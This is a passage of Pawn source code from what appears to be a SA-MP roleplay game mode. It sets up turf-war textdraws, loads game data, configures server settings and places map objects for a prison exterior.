TextDrawFont(BoxInput1, 0);

BoxInput2 = TextDrawCreate(572.500000, 245.411102, "usebox");
TextDrawLetterSize(BoxInput2, 0.000000, 3.209259);
TextDrawTextSize(BoxInput2, 538.500000, 0.000000);
TextDrawAlignment(BoxInput2, 1);
TextDrawColor(BoxInput2, 0);
TextDrawUseBox(BoxInput2, true);
TextDrawBoxColor(BoxInput2, 102);
TextDrawSetShadow(BoxInput2, 0);
TextDrawSetOutline(BoxInput2, 0);
TextDrawFont(BoxInput2, 0);

BoxInput3 = TextDrawCreate(600.500000, 245.411102, "usebox");
TextDrawLetterSize(BoxInput3, 0.000000, 3.209259);
TextDrawTextSize(BoxInput3, 568.000000, 0.000000);
TextDrawAlignment(BoxInput3, 1);
TextDrawColor(BoxInput3, 0);
TextDrawUseBox(BoxInput3, true);
TextDrawBoxColor(BoxInput3, 102);
TextDrawSetShadow(BoxInput3, 0);
TextDrawSetOutline(BoxInput3, 0);
TextDrawFont(BoxInput3, 0);

BoxInput4 = TextDrawCreate(630.500000, 245.411102, "usebox");
TextDrawLetterSize(BoxInput4, 0.000000, 3.209259);
TextDrawTextSize(BoxInput4, 595.500000, 0.000000);
TextDrawAlignment(BoxInput4, 1);
TextDrawColor(BoxInput4, 0);
TextDrawUseBox(BoxInput4, true);
TextDrawBoxColor(BoxInput4, 102);
TextDrawSetShadow(BoxInput4, 0);
TextDrawSetOutline(BoxInput4, 0);
TextDrawFont(BoxInput4, 0);
/*
Friend2 = TextDrawCreate(30.000000, 230.0000, "usebox");
TextDrawLetterSize(Friend2, 0.000000, 3.5000000);
TextDrawTextSize(Friend2 , 190.000000, 0.000000);
TextDrawColor(Friend2, 0);
TextDrawAlignment(Friend2, 1);
TextDrawSetShadow(Friend2, 0);
TextDrawUseBox(Friend2, true);
TextDrawBoxColor(Friend2, 102);
TextDrawSetShadow(Friend2, 0);
TextDrawSetOutline(Friend2, 1);
TextDrawFont(Friend2, 0);
TextDrawSetProportional(Friend2, 1);
*/
WarBox = TextDrawCreate(626.500000, 237.322219, "usebox");
TextDrawLetterSize(WarBox , 0.000000, 20.977161);
TextDrawTextSize(WarBox , 414.000000, 0.000000);
TextDrawAlignment(WarBox , 1);
TextDrawColor(WarBox , 0);
TextDrawUseBox(WarBox , true);
TextDrawBoxColor(WarBox , 102);
TextDrawSetShadow(WarBox , 0);
TextDrawSetOutline(WarBox , 0);
TextDrawFont(WarBox , 0);
TextDrawSetProportional(WarBox , 1);







WarVS = TextDrawCreate(511.000000, 355.910888, "VS");
TextDrawLetterSize(WarVS , 0.556499, 2.732442);
//TextDrawTextSize(WarVS , 0.000000, 0.000000);
TextDrawAlignment(WarVS , 1);
TextDrawColor(WarVS , -16776961);
TextDrawSetShadow(WarVS , 0);
TextDrawSetOutline(WarVS , 0);
TextDrawFont(WarVS , 3);
TextDrawSetProportional(WarVS , 1);

for(new turf=0;turf<50;turf++) {

WarA[turf] = TextDrawCreate(439.500000, 334.755523, "None");
TextDrawLetterSize(WarA[turf] , 0.514499, 2.122665);
//TextDrawTextSize(WarA[turf] , 0.000000, 0.000000);
TextDrawAlignment(WarA[turf] , 1);
TextDrawColor(WarA[turf] , -1);
TextDrawSetShadow(WarA[turf] , 0);
TextDrawSetOutline(WarA[turf] , 1);
TextDrawFont(WarA[turf] , 3);
TextDrawSetProportional(WarA[turf] , 1);

WarTR[turf] = TextDrawCreate(421.000000, 289.333343, "Time Remaining: None");
TextDrawLetterSize(WarTR[turf] , 0.244500, 1.587555);
//TextDrawTextSize(WarTR[turf] , 0.000000, 0.000000);
TextDrawAlignment(WarTR[turf] , 1);
TextDrawColor(WarTR[turf] , -1);
TextDrawSetShadow(WarTR[turf] , 0);
TextDrawSetOutline(WarTR[turf] , 1);
TextDrawFont(WarTR[turf] , 2);
TextDrawSetProportional(WarTR[turf] , 1);

WarD[turf] = TextDrawCreate(442.000000, 384.533264, "None");
TextDrawLetterSize(WarD[turf] , 0.505500, 2.321776);
//TextDrawTextSize(WarD[turf] , 0.000000, 0.000000);
TextDrawAlignment(WarD[turf] , 1);
TextDrawColor(WarD[turf] , -1);
TextDrawSetShadow(WarD[turf] , 0);
TextDrawSetOutline(WarD[turf] , 1);
TextDrawFont(WarD[turf] , 3);
TextDrawSetProportional(WarD[turf] , 1);

}
	   //================[textdrawmeEnd]=========================================
	for(new i = 0;i<8;i++)
	{
	   strmid(News[i][Sender],"No-one",0,strlen("No-one"),MAX_PLAYER_NAME);
	   strmid(News[i][Text],"Nothing",0,strlen("Nothing"),256);
	}
	for(new i = 0; i < Akharish; i++)
	{
	   AgentContractIDUsed[i] = false;
	   ContractIDUsed[i] = false;
	}
	ContractsCount = 0;
	LoadHouses();
	LoadCodes();
	LoadBizz();
	LoadSBizz();
	LoadStuff();
	LoadDynamicFactions();
	LoadDynamicClans();
	LoadFriends();
	//LoadVehicles();
	LoadTurfs();
	LoadMeetings();
	//LoadSprays();

	//
	ManualVehicleEngineAndLights();
	format(string, sizeof(string), "Nothing");
	format(string1, sizeof(string1), "No-one");
	PlayerHaul[98][pCapasity] = 100;
	PlayerHaul[99][pCapasity] = 100;
	PlayerHaul[100][pCapasity] = 50;
	PlayerHaul[101][pCapasity] = 50;
	new tabdilx[50];
	format(tabdilx, sizeof(tabdilx), "%s:RPG v%s",SV_NAME,SV_VER);
	SetGameModeText(tabdilx);
	SendRconCommand("language IR-FA~US-EN");// By SiNaGaMeR
	format(tabdilx, sizeof(tabdilx), "weburl %s",SV_LINK);
	SendRconCommand(tabdilx);// By SiNaGaMeR
	SendRconCommand("mapname LS-LV-SF");// By SiNaGaMeR
	gettime(ghour, gminute, gsecond);
	FixHour(ghour);
	ghour = shifthour;
	AllowInteriorWeapons(1);
	UsePlayerPedAnims();
	DisableInteriorEnterExits();
	EnableStuntBonusForAll(0);


// Mapping tuning to prevent players to enter the tuning
CreateDynamicObject(980, 1044.13586, -1025.97705, 33.45959,   0.00000, 0.00000, 180.29970);
CreateDynamicObject(971, 2644.85522, -2039.16064, 12.01768,   -0.78000, 90.89998, 0.12000);
CreateDynamicObject(971, 2387.24292, 1043.38184, 9.80973,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(971, -2716.19995, 217.68303, 3.80808,   0.00000, 0.00000, 90.77998);
CreateDynamicObject(971, -1934.99097, 238.85309, 33.75625,   0.00000, 0.00000, 0.00000);
//---



// Prison Exterior
	prisonextobj = CreateDynamicObjectEx(8417, -1105.915039, -608.156250, 30.988988, 180.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -1064.573974, -608.156250, 30.990987, 180.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -1049.489379, -608.158203, 30.987989, 180.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -1105.915039, -648.156127, 30.988988, 180.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -1064.572021, -648.155700, 30.990987, 180.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -1105.915039, -688.155029, 30.988988, 180.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -1105.915039, -728.154052, 30.988988, 180.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -1105.915039, -768.152832, 30.988988, 180.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -1064.572998, -688.154479, 30.990987, 180.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -1064.572021, -728.153137, 30.990987, 180.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -1064.572021, -768.152282, 30.990987, 180.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -1023.227478, -728.158935, 30.988988, 0.000000, -179.999984, -0.000029, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -981.886413, -728.153137, 30.990987, 0.000000, -179.999984, -0.000029, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -1023.227478, -768.156677, 30.988988, 0.000000, -179.999984, -0.000029, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -981.885437, -768.150878, 30.990987, 0.000000, -179.999984, -0.000029, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -1023.230407, -688.159729, 30.988988, 0.000000, -179.999984, -0.000029, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -981.888854, -688.153930, 30.990987, 0.000000, -179.999984, -0.000029, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -1023.234313, -648.159362, 30.988988, 0.000000, -179.999984, -0.000029, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -981.888854, -648.152343, 30.990987, 0.000000, -179.999984, -0.000029, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 9920, "anotherbuildsfe", "grassgrn256", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(4100, -1052.091918, -587.877319, 37.864555, 0.000000, 0.000000, 500.200073, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1065.836303, -587.893005, 37.864555, 0.000000, 0.000000, 140.200057, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1079.558471, -587.913574, 37.864555, 0.000000, 0.000000, 140.200057, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1093.134277, -587.877319, 37.864555, 0.000003, -0.000004, 140.200042, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1106.878662, -587.893005, 37.864555, 0.000003, -0.000004, 140.200042, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1120.600830, -587.913574, 37.864555, 0.000003, -0.000004, 140.200042, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1127.122558, -595.053039, 37.864555, 0.000003, -0.000015, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1127.130859, -608.797485, 37.864555, 0.000003, -0.000015, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1127.134155, -622.519714, 37.864555, 0.000003, -0.000015, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1127.122558, -636.192993, 37.864555, -0.000000, -0.000020, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1127.130859, -649.937438, 37.864555, -0.000000, -0.000020, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1127.134155, -663.659667, 37.864555, 0.000000, -0.000019, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1127.122558, -677.383850, 37.864555, -0.000007, -0.000025, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1127.130859, -691.128295, 37.864555, -0.000007, -0.000025, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1127.134155, -704.850524, 37.864555, -0.000007, -0.000025, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1127.122558, -718.594482, 37.864555, -0.000012, -0.000030, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1127.130859, -732.338928, 37.864555, -0.000012, -0.000030, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1127.134155, -746.061157, 37.864555, -0.000012, -0.000030, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1127.133300, -752.577270, 37.864555, -0.000012, -0.000030, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1119.981445, -759.161315, 37.864555, -0.000024, -0.000029, -39.899936, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1106.236938, -759.169616, 37.864555, -0.000024, -0.000029, -39.899936, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1092.514648, -759.172912, 37.864555, -0.000024, -0.000029, -39.899936, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1078.792236, -759.161315, 37.864555, -0.000029, -0.000024, -39.899936, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1065.047729, -759.169616, 37.864555, -0.000029, -0.000024, -39.899936, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1051.325439, -759.172912, 37.864555, -0.000029, -0.000024, -39.899936, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1037.572509, -759.161315, 37.864555, -0.000034, -0.000018, -39.899936, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1023.828002, -759.169616, 37.864555, -0.000034, -0.000018, -39.899936, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1010.105712, -759.172912, 37.864555, -0.000034, -0.000018, -39.899936, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -981.507263, -731.850036, 37.864555, -0.000019, -0.000006, -166.599945, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -989.728027, -742.865112, 37.864555, -0.000019, -0.000006, -166.599945, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -997.931457, -753.865295, 37.864555, -0.000019, -0.000006, -166.599945, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1008.487182, -759.170410, 37.864555, -0.000034, -0.000018, -39.899936, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -976.632507, -725.342773, 37.864555, -0.000019, -0.000006, -166.599945, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -972.341613, -712.420104, 37.864555, -0.000025, -0.000000, 50.300010, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -972.381286, -698.675598, 37.864555, -0.000025, -0.000000, 50.300010, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -972.425842, -684.953430, 37.864555, -0.000025, -0.000000, 50.300010, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -972.481689, -671.170349, 37.864555, -0.000019, 0.000001, 50.300010, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -972.521362, -657.425842, 37.864555, -0.000019, 0.000001, 50.300010, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -972.565917, -643.703674, 37.864555, -0.000019, 0.000001, 50.300010, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -972.610351, -629.980957, 37.864555, -0.000019, 0.000001, 50.300010, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -972.639465, -627.213867, 37.864555, -0.000019, 0.000001, 50.300010, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1010.377929, -588.649169, 37.864555, 0.000003, -0.000004, 140.200042, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1012.996154, -588.653747, 37.864555, 0.000003, -0.000004, 140.200042, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1026.718261, -588.674316, 37.864555, 0.000003, -0.000004, 140.200042, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -998.317260, -593.786987, 37.864555, -0.000003, -0.000023, -86.099876, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -988.821838, -603.693420, 37.864555, -0.000003, -0.000023, -86.099876, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -979.376831, -613.617370, 37.864555, -0.000011, -0.000022, -86.099853, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -977.251220, -615.837158, 37.864555, -0.000011, -0.000022, -86.099853, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(9623, -1038.681640, -581.321777, 33.773242, 0.000000, 0.000000, -1.500000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(9910, -992.552001, -629.486328, 33.139976, 0.000000, 0.000000, 44.999977, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4193, -1010.383239, -630.567810, 45.232418, 0.000000, 0.000000, -178.799972, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(9910, -1013.012695, -648.037719, 38.549964, 0.000004, 0.000004, 46.299968, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(3998, -985.644348, -672.967773, 37.329238, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 10041, "archybuild10", "copshop5", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(3998, -1001.407043, -727.854003, 37.329238, 0.000000, 0.000000, 143.399993, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 10041, "archybuild10", "copshop5", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(10610, -1060.976806, -626.035278, 41.475288, 0.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(10840, -1083.073120, -740.096984, 39.469665, 0.000000, 0.000000, -0.100000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 5, 13364, "cetown3cs_t", "pierboards_la", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(17636, -1067.159790, -729.566955, 34.895347, 0.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(3584, -1078.239746, -647.214416, 35.413135, 0.000000, 0.000000, 270.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10041, "archybuild10", "copshop5", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(16006, -1029.924560, -689.926635, 30.112361, 0.000000, 0.000000, 270.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(11010, -1119.295166, -685.874572, 36.955162, 0.000000, 0.000000, 90.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(8417, -1028.846069, -608.129821, 30.993988, 180.000000, 0.000000, 179.000030, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(8417, -1008.099609, -617.249938, 30.990989, 180.000000, 0.000000, -135.899856, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19545, -1004.859191, -664.938537, 31.024522, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19545, -985.439147, -652.727539, 31.024522, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19545, -980.798034, -707.245788, 31.024522, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
